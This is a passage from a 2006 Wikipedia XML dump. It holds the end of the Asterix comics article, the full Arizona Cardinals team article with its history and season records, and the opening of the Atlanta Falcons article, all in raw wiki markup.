A number of running gags recur in various albums. One of these is that the bard Cacofonix wants to create a spontaneous song whenever Asterix and Obelix leave or come back for a grand journey, but is usually prevented from doing so by Fulliautomatix (the blacksmith). At the end of most adventures (most notable exceptions in ''[[Asterix and the Normans]]'', ''[[Asterix and the Magic Carpet]]'' and ''[[Asterix and the Falling Sky]]''), he ends up not attending the final banquet which usually marks the end of an episode; instead he is seen tied up and gagged up in his tree-house in the same panel in which the feast takes place, so as not to disrupt the festivities.

Another running gag is a group of [[pirate]]s that tend to get caught in the middle of conflict and have their ship sunk, resembling the painting [[The Raft of the Medusa]] by [[Théodore Géricault]], most notably in ''[[Asterix the Legionary]]''. The ship is often sunk for a variety of reasons, such as a stray thrown menhir, though usually through Asterix and Obelix boarding them. In one episode, they attack a ship carrying a Roman agent, who points at a random crew member and states he gave him a bagful of gold if he would not attack the agent. In the ensuing battle over the nonexistent bag of gold, the pirates sink their own ship. In another, tired of being sunk, they give up pirating completely and open a ship-themed restaurant. Asterix and Obelix arrive and the restaurant is soon smashed to pieces. Those pirates—most notably the red-bearded captain, the constantly Latin-quoting peg-legged second-in-command, and the African lookout—are caricatures of the characters of &quot;Barbe Rouge, Le Démon des Caraïbes&quot;, a pirate series that was published at the same time in [[Pilote]], the weekly comics magazine in which Asterix appeared, and which Goscinny also edited.

===Revisionist explanations===
In the albums, some historical facts are retold, and attributed to Asterix &amp; Obelix. 
*In ''[[Asterix and Cleopatra]]'', when visiting Egypt, Obelix scales the [[Great Sphinx of Giza#Missing nose|sphinx]]. He then falls down, grabs the sphinx's nose, but it breaks. Immediately all the souvenir-shops nearby chisel off the noses of their souvenir-sphinxes in order to maintain the resemblance to the real monument. This may be a reference to the (false) belief that Napoleon's troops destroyed the sphinx's nose by using it for target practice.
*In ''[[Asterix in Britain]]'', the Britons are used to drinking hot water with a drop of [[milk]]. Only when Asterix puts in tea-leaves, given by the druid, the habit becomes tea-drinking.
*In ''[[Asterix in Spain]]'', Asterix ends up in a circus in front of an [[aurochs]] (not a lion, there). He evades the bull nicely, and gets an applause from the audience. A guest of the Roman general drops her red cape in the arena. When Asterix wants to hand it back, the bull reacts and is finished after some dancing moves of Asterix, giving us the first bullfight. 
*In the same book, Unhygenix the fishmonger agrees to take payment for his boat rental in menhirs, as he wants to develop land on [[Salisbury Plain]]&amp;mdash;which explains the mystery of [[Stonehenge]].
*In ''[[Asterix and the Banquet]]'' (Le Tour de Gaule) Obelix travels around Gaul with a yellow knapsack on his back, as if wearing the yellow jersey in the modern Tour de France. Complete with a white square patch on the backside, where we can imagine the cyclist's number.
*In ''[[Asterix in Switzerland]]'', Asterix manages to carry an unconscious Obelix through the Alps, by tying ropes around himself, Obelix, and their guides, creating a famous technique in mountain-climbing.
*In ''[[Asterix in Belgium]]'', the chieftain of Asterix's Belgian hosts gains inspiration for ''patates frites'' (chips) and mussels, Belgium's two most famous culinary ambassadors, from a vat of boiling oil prepared as a Roman weapon, and a damp wooden plank belonging to the pirates (note that [[potato]]es were unknown in Europe at the time).
*In ''[[Asterix and Caesar's Gift]]'', Cacofonix composes the protest anthem &quot;We shall Overcome&quot;, which became the US civil rights movement song.
*In ''[[Asterix the Gladiator]]'', Julius Caesar asks Brutus to clap for him using the famous Shakespearean phrase &quot;Et tu Brute&quot;.
*In ''[[Asterix in Britain]]'', Asterix' cousin speaks about building a tunnel under the water from Dover to France and says that it's a dream project which he hopes to achieve some day.

===Influences===
*The first satellite launched by [[France]] in [[1965]] received the name of the character, and during the campaign for [[Paris]] to obtain the right to host the [[1992 Summer Olympics]] Asterix appeared in many posters over the [[Eiffel Tower]].

*The Israeli [[Psy-trance]] DJ and producer [[Astrix]] is named after the character.

==Major recurring characters==
{{main|Recurring characters in Asterix}}

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! Name in English translations !! Original French name !! Description !! First appearance
|-
| Asterix || Astérix || Gaulish warrior || [[Asterix the Gaul]]
|-
| [[Obelix]] || Obélix || Menhir delivery man || Asterix the Gaul
|-
| [[Dogmatix]] || Idéfix (fixed idea) || Obelix’s dog || [[Asterix and the Banquet]]

|-
| [[Recurring characters in Asterix#Getafix|Getafix]] || Panoramix || Druid || Asterix the Gaul
|- 
| [[Recurring characters in Asterix#Vitalstatistix|Vitalstatistix]] || Abraracourcix (arms coiled, ready to punch) || Chief of the village || Asterix the Gaul
|-
| [[Recurring characters in Asterix#Impedimenta|Impedimenta]] || Bonemine (nice face) || Wife of Vitalstatistix || [[Asterix and the Chieftain's Shield| Asterix and the Chieftain’s Shield]]
|-
| [[Recurring characters in Asterix#Geriatrix|Geriatrix]] || Agecanonix (biblical age) || Village elder || [[Asterix at the Olympic Games]]
|-
| [[Recurring characters in Asterix#Mrs Geriatrix|Mrs Geriatrix]] (unnamed) || Mme Agecanonix (unnamed) || Wife of Geriatrix || [[Asterix and the Roman Agent]]
|-
| [[Cacofonix]] || Assurancetourix (comprehensive insurance) || Bard || Asterix the Gaul
|-
| [[Recurring characters in Asterix#Fulliautomatix|Fulliautomatix]] || Cétautomatix (it's automatic) || Blacksmith || Asterix the Gaul
|-
| [[Recurring characters in Asterix#Unhygienix|Unhygienix]] || Ordralfabétix (alphabetical order) || Fishmonger || [[Asterix in Spain]]
|-
| [[Recurring characters in Asterix#Bacteria|Bacteria]] || Iélosubmarine (''yellow submarine'') || Wife of Unhygienix || Asterix in Spain
|}

==See also==
* [[List of Asterix volumes]]
* [[List of Asterix films and videogames]]
* [[Recurring characters in Asterix]]
* [[Parc Astérix]]
* [[Roman Gaul]], after Julius Caesar's conquest of 58–51 BC that consisted of five provinces.

==External links==
{{commons|Asterix}}
* The [http://www.asterix.com/ Official Asterix web site]
* The [http://www.asterix-obelix.nl/ Asterix around the World &amp;ndash; The many languages]
* [http://www.asterix.co.nz/ Asterix NZ]&amp;ndash; General Reference site for English speaking Fans 
* [http://openscroll.org/asterix/ The Asterix Annotations] &amp;ndash; album-by-album explanations of all the historical references and obscure in-jokes 
* A [[Cessna]] aircraft with Asterix on the tail [http://www.airliners.net/open.file/653603/M/]
* For the movie of [[Asterix at the Olympic Games]] [[ SN Brussels]] Airlines will paint two of their aircraft in Asterix livery. [http://www.luchtzak.be/article9764.html]
* Each Asterix book is examined in detail at [http://www.gthomas.pwp.blueyonder.co.uk/ Alea Jacta Est (Asterix for grown-ups)]
* [http://www.mage.fst.uha.fr/asterix/allusion/allusion.html Les allusions culturelles dans Astérix] - Cultural allusions (French)

[[Category:Asterix|*]]
[[category:Comics characters]]
[[Category:Fictional Celts]]
[[Category:French comics]]

&lt;!-- interwiki --&gt;

[[cs:Asterix]]
[[da:Asterix]]
[[de:Asterix]]
[[es:Astérix el Galo]]
[[eo:Asteriks]]
[[fr:Astérix le Gaulois]]
[[gl:Asterix]]
[[hr:Asterix]]
[[id:Asterix]]
[[it:Asterix]]
[[is:Ástríkur gallvaski]]
[[ja:アステリックス]]
[[he:אסטריקס]]
[[la:Asterix]]
[[lb:Astérix]]
[[hu:Asterix]]
[[nl:Asterix]]
[[no:Asterix]]
[[nn:Asterix]]
[[pl:Asterix]]
[[pt:Asterix]]
[[sr:Астерикс]]
[[fi:Asterix]]
[[sv:Asterix]]</text>
    </revision>
  </page>
  <page>
    <title>Arizona Cardinals</title>
    <id>2102</id>
    <revision>
      <id>40255874</id>
      <timestamp>2006-02-19T07:20:22Z</timestamp>
      <contributor>
        <ip>68.108.193.196</ip>
      </contributor>
      <comment>/* Not to be forgotten */</comment>
      <text xml:space="preserve">{{NFL team | name = Arizona Cardinals
| logo = AZCardinals.png
| founded = 1898
| city = Glendale, Arizona
| colors = Cardinal Red, Black, and White
| coach = [[Dennis Green]]
| general manager = [[John Idzik]]
| owner = Bidwill Family
| mascot = [[Big Red (Cardinals mascot)|Big Red]]
| nicknames = The Cards
| stations = KMVP (860 AM), KTAR (620 AM), and KMIA (710 AM)-Spanish
| announcers = Kent Derdivanis and  Ron Wolfley-Radio (English); Gabriel Trujillo and Luis Zendejas (Spanish)
| hist_yr = 1994
| hist_misc =
* Morgan Athletic Club (1898)
* Racine Normals (1899-1900)
* Racine Cardinals (1901-1906, reformed 1913-1919)
* [[Chicago, Illinois|Chicago]] Cardinals (1920-1943)
* Card-[[Pittsburgh Steelers|Pitt]] (1944)
* Chicago Cardinals (1945-1959)
* [[Saint Louis, Missouri|St. Louis]] Cardinals (1960-1987)
* [[Phoenix, Arizona|Phoenix]] Cardinals (1988-1993)
| affiliate_old =
Independent (1898-1919)&lt;br&gt;
| NFL_start_yr = 1920
| division_hist =
*Western Division (1933-1949)
*American Conference (1950-1952)
*Eastern Conference (1953-1969)
**Century Division (1967-1969)
*'''[[National Football Conference]] (1970-present)'''
**[[NFC East]] (1970-2001)
**'''[[NFC West]] (2002-present)'''
| no_league_champs = 2
| no_div_champs = 4
| league_champs =
*'''[[List of NFL champions|NFL Championships]] (2)'''&lt;br&gt;1925, 1947
| div_champs =
*'''NFL West:''' 1947, 1948
*'''NFC East:''' 1974, 1975
| stadium_years =
:''Since 1920''
*[[Normal Field]] (1920-1921), (1926-1928)
*[[Comiskey Park]] (1922-1925), (1929-1959)
*[[Sportsman's Park]] (1960-1965)
*[[Busch Stadium]] (1966-1987)
*[[Sun Devil Stadium]] (1988-2005)
*'''[[Cardinals Stadium]] (scheduled to open in 2006)'''
}}

The '''Arizona Cardinals''' are a professional [[American football]] team based in the [[Phoenix, Arizona]] [[metropolitan area]]. In 2006, the club will move to the new [[Cardinals Stadium]] in the suburb of [[Glendale, Arizona]]. They currently belong to the [[NFC West|Western Division]] of the [[National Football Conference]] (NFC) in the [[National Football League]] (NFL).

The Cardinals are the oldest existing professional American football club in the [[United States]]. The team was formed in 1898 as the '''Morgan Athletic Club''' in [[Chicago, Illinois]]. The club was then called the '''Racine Normals''' since they were originally located on Racine Avenue but moved to Chicago's Normal Field. They then changed their name to the '''Racine Cardinals''' after they started wearing cardinal red uniforms.

After becoming a charter member of the NFL in 1920, the club was renamed the '''Chicago Cardinals'''. The Cardinals moved to [[Saint Louis, Missouri]] in 1960, then relocated to the Phoenix area in 1988. The team was known as the '''Phoenix Cardinals''' before it started using &quot;Arizona&quot; in its name in 1994.

The Cardinals have won [[List of NFL champions|NFL Championships]] in 1925 and 1947. But the team has not won a league title since then, and thus currently holds the record for the longest championship drought (period of not winning) in NFL history.  Despite being the oldest existing professional football franchise in the United States, the Arizona Cardinals have an all-time postseason record of 2-5.  (Not counting the 1964 [[Playoff Bowl|Bert Bell Benefit Bowl]])

:'''Helmet design:''' White with a cardinal head

==Franchise history==
[[Image:Chicago_cardinals.GIF|left|framed|Chicago Cardinals logo.]]
The Cardinals are the oldest existing football club in the [[United States]], beginning as an amateur athletic club team in Chicago named the Morgan Athletic Club, which was founded by Chicago painter/builder [[Chris O'Brien]].  They began to field a pro team even before the founding of the NFL.  He later moved them to Chicago's Normal Field and the team was named ''The Racine Normals'', since they were originally located on Racine Avenue in Chicago.  In 1901, O'Brien bought used [[Maroon (color)|maroon]] uniforms from the [[University of Chicago]].  The colors had faded by this time, leading O'Brien to exclaim, &quot;That's not maroon, it's cardinal red!&quot;  It was right there that the team changed its name to the '''Racine Cardinals'''.  

The team disbanded in 1906 due mostly to a lack of local competition, but reformed in [[1913]].  They were forced to suspend operations for a second time in 1918 due to [[World War I]] and the outbreak of the [[Spanish_Flu|Spanish Flu Pandemic]].  They resumed operations later in the year, and have operated continuously since then.

The team became a charter member of the [[American Professional Football Association]] (which became the NFL in 1922) in 1920, for the franchise fee of $100. According to some, the team's name was erroneously recorded as &quot;[[Racine, Wisconsin]].&quot; The team was renamed the '''Chicago Cardinals''' in 1922 after a team from [[Racine, Wisconsin]] entered the league.  That season the team moved into [[Comiskey Park]].

In 1932 the team was purchased by [[Charles Bidwill]], then a vice president of the [[Chicago Bears]].  The team has been under the ownership of the Bidwill family since then.

The Cardinals won their first NFL championship in [[1925 in sports|1925]], finishing the season with a record of 11-2-1 (until the 1933 season, the league champion was determined solely by win-loss percentage).  It was actually awarded by default, since the [[Pottsville Maroons]], the team with the best record, had their franchise revoked for violating the territorial rights of the [[Frankford Yellowjackets]].  The team posted a winning record only twice in the twenty years (1931 and 1935) after their championship.

In 1944, owing to player shortages caused by [[World War II]], the Cardinals and [[Pittsburgh Steelers]] merged for one year and were known as the &quot;Card-Pitts,&quot; or derisively as the &quot;Carpets&quot; as they were winless that season.

The Cardinals won their last NFL championship game in 1947 (28-21 over the [[Philadelphia Eagles]]) with their &quot;Million-Dollar Backfield,&quot; which included [[quarterback]] [[Paul Christman]] and [[halfback (American football)|halfback]] [[Charley Trippi]].  They advanced to the championship game the next season, but lost 7-0 in a rematch with the Eagles.
[[Image:ArizonaCardinals_100.png|left|framed|Cardinals logo (1960-2004).]]
In 1960 the team moved to St. Louis.  During this period, two big-league teams of that name existed in the city.  Sports fans and local news broadcasters got into the habit of calling them &quot;the football Cardinals&quot; or &quot;the [[St. Louis Cardinals|baseball Cardinals]]&quot; to distinguish the two.  The change in scenery did little to alter the team's fortunes.  During the Cardinals' stay in St. Louis, they advanced to the playoffs just four times (one of those was in a [[Playoff Bowl|season-ending consolation game]], and another was in the NFC tournament following the strike-shortened 1982 season).  The team left St. Louis in 1987 when owner [[Bill Bidwill]] was unable to convince the city to build a new stadium. 

In 1988 the Cardinals moved to [[Arizona]], became the '''Phoenix Cardinals''', and started playing home games in [[Sun Devil Stadium]] on the campus of [[Arizona State University]].  They became the '''Arizona Cardinals''' in 1994.  The team did not post a winning record for 13 seasons (1985 to 1997).  [[Joe Bugel]] coached from 1990 to 1993, usually finishing last in the NFC East, which produced the [[Super Bowl]] winner in each of those seasons (Giants 90, Redskins 91, Cowboys 92-3).  [[Buddy Ryan]] replaced Bugel in 1994, lasting 2 seasons.  He infamously guaranteed victory in the 1994 Week 3 game at the [[Cleveland Browns]] (Cleveland won, 32-0). Ryan was followed by [[Vince Tobin]], under whom the Cardinals posted a 9-7 record in 1998 and advanced to the playoffs for the first time since the 1982 season.  They upset the favored [[Dallas Cowboys]] in the wild-card round, 20-7, but lost their divisional playoff to the [[Minnesota Vikings]], 41-21.  

Tobin was fired during the 2000 season and replaced by defensive coordinator [[Dave McGinnis]], who remained head coach until his firing in 2003; McGinnis compiled a win-loss record of 17-40 during his tenure.

The Cardinals have not won more than seven games in a season since their 1998 playoff appearance, and have had one of the worst yearly attendance records in the NFL.

In 2004, the Cardinals hired as their head coach former [[Minnesota Vikings]] head coach [[Dennis Green]], who compiled a 97-62 record in ten seasons with Minnesota (1992-2001), leading that franchise to four NFC Central Division titles and two NFC Championship games.

In 2000, [[Maricopa County]] voters passed a ballot initiative by a margin of 51% to 49%, providing funding for a new Cardinals stadium (as well as for improvements to [[Major League Baseball]] [[spring training]] facilities in the greater Phoenix region; and youth recreation). After some legal obstacles, the Cardinals began construction of their new facility in April 2003, in [[Glendale, Arizona|Glendale]], one of the northwestern suburbs of Phoenix.  Cardinals Stadium will feature a retractable roof and a slide-out grass surface, and is scheduled to open for the 2006 season [http://www.azcardinals.com/stadium/].  It will also be the location of [[Super Bowl XLII]] (2008).

===Season-by-season records===
:''Since 1920''
{{Start NFL SBS}}
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Chicago Cardinals (APFA)'''
|-
|1920 || 3 || 2 || 1 || 6th APFA&lt;sup&gt;1&lt;/sup&gt; || rowspan=&quot;2&quot; | &amp;nbsp;
|-
|1921 || 3 || 3 || 2 || 9th APFA&lt;sup&gt;1&lt;/sup&gt;
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Chicago Cardinals (NFL)'''
|-
|1922 || 8 || 3 || 0 || 3rd NFL || valign=&quot;middle&quot; rowspan=&quot;3&quot; | ''The NFL did not hold playoff games until 1932''
|-
|1923 || 8 || 4 || 0 || 6th NFL
|-
|1924 || 5 || 4 || 1 || 8th NFL
|-
|1925 || 11 || 2 || 1 || 1st NFL || '''Named NFL Champions'''&lt;sup&gt;2&lt;/sup&gt;
|-
|1926 || 5 || 6 || 1 || 10th NFL || rowspan=&quot;6&quot; | &amp;nbsp;
|-
|1927 || 3 || 7 || 1 || 9th NFL
|-
|1928 || 1 || 5 || 0 || 9th NFL
|-
|1929 || 6 || 6 || 1 || 4th NFL
|-
|1930 || 5 || 6 || 2 || 7th NFL
|-
|1931 || 5 || 4 || 0 || 4th NFL
|-
|1932 || 2 || 6 || 2 || 7th NFL || --
|-
|1933 || 1 || 9 || 1 || 5th NFL West || --
|-
|1934 || 5 || 6 || 0 || 4th NFL West || --
|-
|1935 || 6 || 4 || 2 || T-3rd NFL West || --
|-
|1936 || 3 || 8 || 1 || 4th NFL West || --
|-
|1937 || 5 || 5 || 1 || 4th NFL West || --
|-
|1938 || 2 || 9 || 0 || 5th NFL West || --
|-
|1939 || 1 || 10 || 0 || 5th NFL West || --
|-
|1940 || 2 || 7 || 2 || 5th NFL West || --
|-
|1941 || 3 || 7 || 1 || 4th NFL West || --
|-
|1942 || 3 || 8 || 0 || 4th NFL West || --
|-
|1943 || 0 || 10 || 0 || 4th NFL West || -
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Card-Pitt'''
|-
|1944 || 0 || 10 || 0 || 5th NFL West || --
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Chicago Cardinals'''
|-
|1945 || 1 || 9 || 0 || 5th NFL West || --
|-
|1946 || 6 || 5 || 0 || T-3rd NFL West || --
|-
|1947 || 9 || 3 || 0 || 1st NFL West || '''Won NFL Championship''' ([[Philadelphia Eagles|Eagles]])
|-
|1948 || 11 || 1 || 0 || 1st NFL West || Lost NFL Championship ([[Philadelphia Eagles|Eagles]])
|-
|1949 || 6 || 5 || 1 || 3rd NFL West || --
|-
|1950 || 5 || 7 || 0 || 5th NFL AFC || --
|-
|1951 || 3 || 9 || 0 || 6th NFL AFC || --
|-
|1952 || 4 || 8 || 0 || T-5th NFL AFC || --
|-
|1953 || 1 || 10 || 1 || 6th NFL East || --
|-
|1954 || 2 || 10 || 0 || 6th NFL East || --
|-
|1955 || 4 || 7 || 1 || T-4th NFL East || --
|-
|1956 || 7 || 5 || 0 || 2nd NFL East || --
|-
|1957 || 3 || 9 || 0 || 6th NFL East || --
|-
|1958 || 2 || 9 || 1 || T-5th NFL East || --
|-
|1959 || 2 || 10 || 0 || 6th NFL East || --
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''St. Louis Cardinals'''
|-
|1960 || 6 || 5 || 1 || 4th NFL East || --
|-
|1961 || 7 || 7 || 0 || 4th NFL East || --
|-
|1962 || 4 || 9 || 1 || 6th NFL East || --
|-
|1963 || 9 || 5 || 0 || 3rd NFL East || --
|-
|1964 || 9 || 3 || 2 || 2nd NFL East || --
|-
|1965 || 5 || 9 || 0 || T-5th NFL East || --
|-
|1966 || 8 || 5 || 1 || 4th NFL East || --
|-
|1967 || 6 || 7 || 1 || 3rd NFL Century || --
|-
|1968 || 9 || 4 || 1 || 2nd NFL Century || --
|-
|1969 || 4 || 9 || 1 || 3rd NFL Century || --
|-
|1970 || 8 || 5 || 1 || 3rd NFL East || --
|-
|1971 || 4 || 9 || 1 || 4th NFL East || --
|-
|1972 || 4 || 9 || 1 || 4th NFL East || --
|-
|1973 || 4 || 9 || 1 || 4th NFL East || --
|-
|1974 || 10 || 4 || 0 || 1st NFC East || Lost [[NFL playoffs, 1974-75|Divisional Playoffs]] ([[Minnesota Vikings|Vikings]])
|-
|1975 || 11 || 3 || 0 || 1st NFC East || Lost [[NFL playoffs, 1975-76|Divisional Playoffs]] ([[Los Angeles Rams|Rams]])
|-
|1976 || 10 || 4 || 0 || 3rd NFC East || --
|-
|1977 || 7 || 7 || 0 || 3rd NFC East || --
|-
|1978 || 6 || 10 || 0 || 4th NFC East || --
|-
|1979 || 5 || 11 || 0 || 5th NFC East || --
|-
|1980 || 5 || 11 || 0 || 4th NFC East || --
|-
|1981 || 7 || 9 || 0 || 5th NFC East || --
|-
|1982 || 5 || 4 || 0 || 6th NFC Conf. || Lost [[NFL playoffs, 1982-83|First Round]] ([[Green Bay Packers|Packers]])
|-
|1983 || 8 || 7 || 1 || 3rd NFC East || --
|-
|1984 || 9 || 7 || 0 || 3rd NFC East || --
|-
|1985 || 5 || 11 || 0 || 5th NFC East || --
|-
|1986 || 4 || 11 || 1 || 5th NFC East || --
|-
|1987 || 7 || 8 || 0 || 3rd NFC East || -
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Phoenix Cardinals'''
|-
|1988 || 7 || 9 || 0 || 4th NFC East || --
|-
|1989 || 5 || 11 || 0 || 4th NFC East || --
|-
|1990 || 5 || 11 || 0 || 5th NFC East || --
|-
|1991 || 4 || 12 || 0 || 5th NFC East || --
|-
|1992 || 4 || 12 || 0 || 5th NFC East || --
|-
|1993 || 7 || 9 || 0 || 4th NFC East || --
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Arizona Cardinals'''
|-
|1994 || 8 || 8 || 0 || 3rd NFC East || --
|-
|1995 || 4 || 12 || 0 || 5th NFC East || --
|-
|1996 || 7 || 9 || 0 || 4th NFC East || --
|-
|1997 || 4 || 12 || 0 || 5th NFC East || --
|-
|1998 || 9 || 7 || 0 || 2nd NFC East || Lost [[NFL playoffs, 1998-99|Divisional Playoffs]] ([[Minnesota Vikings|Vikings]])
|-
|1999 || 6 || 10 || 0 || 4th NFC East || --
|-
|2000 || 3 || 13 || 0 || 5th NFC East || --
|-
|2001 || 7 || 9 || 0 || 4th NFC East || --
|-
|2002 || 5 || 11 || 0 || 4th NFC West || --
|-
|2003 || 4 || 12 || 0 || 4th NFC West || --
|-
|2004 || 6 || 10 || 0 || 3rd NFC West || --
|-
|2005 || 5 || 11 || 0 || 3rd NFC West || --
{{End}}

&lt;small&gt;1=The NFL was originally named the '''American Professional Football Association''' (APFA) from 1920-1922.&lt;/small&gt;

&lt;small&gt;2=The NFL did not hold playoff games until 1932. The team that finished with the best regular season record was named the league champions.&lt;/small&gt;

^At the end of the [[2005 NFL season]], the Cardinals All-Time Record (since 1920) is 450-653-38 (including playoffs).

==Single Season Records==
'''Passing'''
*'''Passing Yards''': 4614 [[Neil Lomax]] (1984)
*'''Passing Touchdowns''': 28 [[Charley Johnson]] (1963), [[Neil Lomax]] (1984)

'''Rushing'''
*'''Rushing Yards''': 1605 [[Ottis Anderson]] (1979)

'''Receiving'''
*'''Receptions''': 103 [[Larry Fitzgerald]] (2005)
*'''Receiving Yards''': 1596 [[David Boston]] (2001)

'''Kicking'''
*'''Field Goals''': 40* [[Neil Rackers]] (2005)

''* NFL Record''

==Players of note==
===Current roster===
{{Template:Arizona Cardinals roster}}

===[[Pro Football Hall of Fame]]rs===
Chicago Cardinals
* [[Charles Bidwill]], team owner
* 1 [[Jimmy Conzelman]], QB-CB, head coach
* 1 [[Paddy Driscoll]], QB-S-K-P, head coach
* 2 [[Walt Kiesling]], G-DT, head coach
* 4 [[Ernie Nevers]], RB-S
* 13 [[Guy Chamberlin]], TE-DE
* 33 [[Ollie Matson]], RB
* 62 [[Charley Trippi]], RB-CB
* 81 [[Dick &quot;Night Train&quot; Lane]], CB

St. Louis Cardinals
* 8 [[Larry Wilson]], S
* 72 [[Dan Dierdorf]], OT
* 81 [[Jackie Smith]], TE

These three, plus [[Conrad Dobler]] (66, G), [[Jim Hart]] (17, QB), and [[Jim Hanifan]] (Head Coach) have been inducted into the Missouri Sports Hall of Fame.

Arizona Cardinals
* None as of the 2005 season.

===Retired numbers===
*8 [[Larry Wilson]] (St. Louis)
*40 [[Pat Tillman]] (Arizona)
*77 [[Stan Mauldin]] (Chicago)
*88 [[J.V. Cain]] (St. Louis)
*99 [[Marshall Goldberg]] (Chicago)

===Not to be forgotten===
Chicago
*[[Elmer Angsman]]
*[[Paul Christman]]
*[[Pat Harder]]
*[[Leo Sanford]]
*[[Jack Simmons]]
St. Louis
*[[Jim Bakken]]
*[[Joe Childress]]
*[[Bobby Joe Conrad]]
*[[Pat Fischer]]
*[[Roy Green]]
*[[Jim Hart]]
*[[Charley Johnson]]
*[[Neil Lomax]]
*[[Sonny Randle]]
*[[J.T. Smith (football player)|J.T. Smith]]
Phoenix/Arizona
*[[Lomas Brown]]
*[[Larry Centers]]
*[[Boomer Esiason]]
*[[Ken Harvey]]
*[[Thomas Jones (football player)|Thomas Jones]]
*[[Tim McDonald]]
*[[Jamir Miller]]
*[[Rob Moore (football player)|Rob Moore]]
*[[Jake Plummer]]
*[[Ricky Proehl]]
*[[Simeon Rice]]
*[[Emmitt Smith]]
*[[Eric Swann]]
*[[Tom Tupa]]
*[[Aeneas Williams]]
*[[Pat Tillman]]

==Head Coaches==
*[[Paddy Driscoll]] (1920-1922)
*[[Arnold Horween]] (1923-1924)
*[[Norman Barry]] (1925-1926)
*[[Guy Chamberlin]] (1927)
*[[Fred Gillies]] (1928)
*[[Dewey Scanlon]] (1929)
*[[Ernest Nevers|Ernie Nevers]] (1929-1930)
*[[LeRoy Andrews]] (1931)
*[[Jack Chevigny]] (1932)
*[[Paul Schissler]] (1933-1934)
*[[Milan Creighton]] (1935-1938)
*[[Ernest Nevers|Ernie Nevers]] (1939)
*[[Jimmy Conzelman]] (1940-1942)
*[[Phil Handler]] (1943-1945)
*[[Jimmy Conzelman]] (1946-1948)
*[[Curly Lambeau]] (1950-1951)
*[[Phil Handler]] (1951)
*[[Joe Kuharich]] (1952)
*[[Joe Stydahar]] (1953-1954)
*[[Ray Richards]] (1955-1957)
*[[Frank Ivy|Pop Ivy]] (1958-1961)
*[[Wally Lemm]] (1962-1965)
*[[Charley Winner]] (1966-1970)
*[[Bob Hollway]] (1971-1972)
*[[Don Coryell]] (1973-1977)
*[[Bud Wilkinson]] (1978-1979)
*[[Larry Wilson]] (interim) (1979)
*[[Jim Hanifan]] (1980-1985)
*[[Gene Stallings]] (1986-1989)
*[[Hank Kuhlmann]] (interim) (1989)
*[[Joe Bugel]] (1990-1993)
*[[Buddy Ryan]] (1994-1995)
*[[Vince Tobin]] (1996-1999)
*[[Dave McGinnis]] (2000-2003)
*[[Dennis Green]] (2004-present)

===Current Staff===
*Head Coach - [[Dennis Green]]
*Offensive Coordinator - [[Keith Rowen]]
*Defensive Coordinator - [[Clancy Pendergast]]
*Special Teams Coach - [[Gary Zauner]]
*Quarterbacks Coach - [[Mike Kruczek]]
*Running Backs Coach - [[Kirby Wilson]]
*Wide Receivers Coach - [[Mike Wilson (football coach)|Mike Johnson]]
*Tight Ends Coach - [[Carl Hargrave]]
*Offensive Line Coach - [[Steve Loney]]
*Defensive Line Coach - [[Larry Brooks]]
*Linebackers Coach - [[Frank Bush]]
*Defensive Backs Coach - [[Richard Solomon (football coach)|Richard Solomon]]

==External links==
*[http://www.azcardinals.com/ Arizona Cardinals official web site]
*[http://www.nflnewsrack.com/arizona_cardinals.html Arizona Cardinals News and Links]
*[http://www.azfl.com Arizona Football League AzFL Cardinals News]
*[http://www.sportsandentertainmentnews.com Complete Cardinals News Photos &amp; Stories]
*[http://sports.groups.yahoo.com/group/arizonacardinalsclub/ Arizona Cardinals Fansite at Yahoo!]
*[http://www.sportsecyclopedia.com/nfl/az/cardsarizona.html Sports E-Cyclopedia.com]

{{NFL}}


[[Category:Arizona Cardinals| ]]
[[Category:1898 establishments]]
[[Category:National Football League teams]]

[[da:Arizona Cardinals]]
[[de:Arizona Cardinals]]
[[es:Arizona Cardinals]]
[[fr:Cardinals de l'Arizona]]
[[he:אריזונה קרדינלס]]
[[it:Arizona Cardinals]]
[[pl:Arizona Cardinals]]
[[pt:Arizona Cardinals]]
[[sv:Arizona Cardinals]]</text>
    </revision>
  </page>
  <page>
    <title>Atlanta Falcons</title>
    <id>2103</id>
    <revision>
      <id>41562809</id>
      <timestamp>2006-02-28T04:14:18Z</timestamp>
      <contributor>
        <username>Alakazam</username>
        <id>376416</id>
      </contributor>
      <minor />
      <comment>/* Franchise history */</comment>
      <text xml:space="preserve">{{NFL team | name = Atlanta Falcons
| logo = AtlantaFalcons_100.png
| founded = 1966
| city = Atlanta, Georgia
| colors = Black, Red, Silver, and White
| coach = [[Jim L. Mora]]
| owner = [[Arthur Blank]]
| general manager = [[Rich McKay]]
| mascot = Freddie Falcon
| nicknames = Dirty Birds
| stations = WZGC (92.9 FM)
| announcers = David Archer, Wes Durham, Jeff Van Note, and Nicole Watson
| hist_yr = 1966
| NFL_start_yr = 1966
| division_hist =
*Eastern Conference (1966-1969)
**Coastal Division (1967-1969)
*'''[[National Football Conference]] (1970-present)'''
**[[NFC West]] (1970-2001)
**'''[[NFC South]] (2002-present)'''
| no_conf_champs = 1
| no_div_champs = 3
| conf_champs =
*'''NFC:''' 1998
| div_champs =
*'''NFC West:''' 1980, 1998
*'''NFC South:''' 2004
| stadium_years =
*[[Atlanta-Fulton County Stadium]] (1966-1991)
*'''[[Georgia Dome]] (1992-present)'''
}}

The '''Atlanta Falcons''' are a professional [[American football]] team based in [[Atlanta, Georgia]]. They currently belong to the [[NFC South|Southern Division]] of the [[National Football Conference]] (NFC) in the [[National Football League]] (NFL). The Falcons joined the NFL as a 1966 [[expansion team]].

:'''Team colors:''' Home jerseys are red and white with white letters and black trim.  Away jerseys are white with black letters and red trim.  Alternate home jerseys are black with red and white sleeves and also, white numbers and names with red trim.
:'''Helmet design:''' Black with a black face mask and a red and black falcon logo with a grey and white border on both sides, which forms the shape of an F.

==Franchise history==
{{cleanup-remainder|February 2006}}

'''Timeline / Important Years'''
* 1965 - The Atlanta Falcons are born.  NFL Commissioner [[Pete Rozelle]], grants ownership to Rankin M. Smith Sr.  They draft [[Tommy Nobis]], LB, University of Texas with the 1st pick of the [http://www.profootballhof.com/history/general/draft/1966.jsp 1966 NFL Draft] held on November 27, 1965, making him the first ever Falcon.
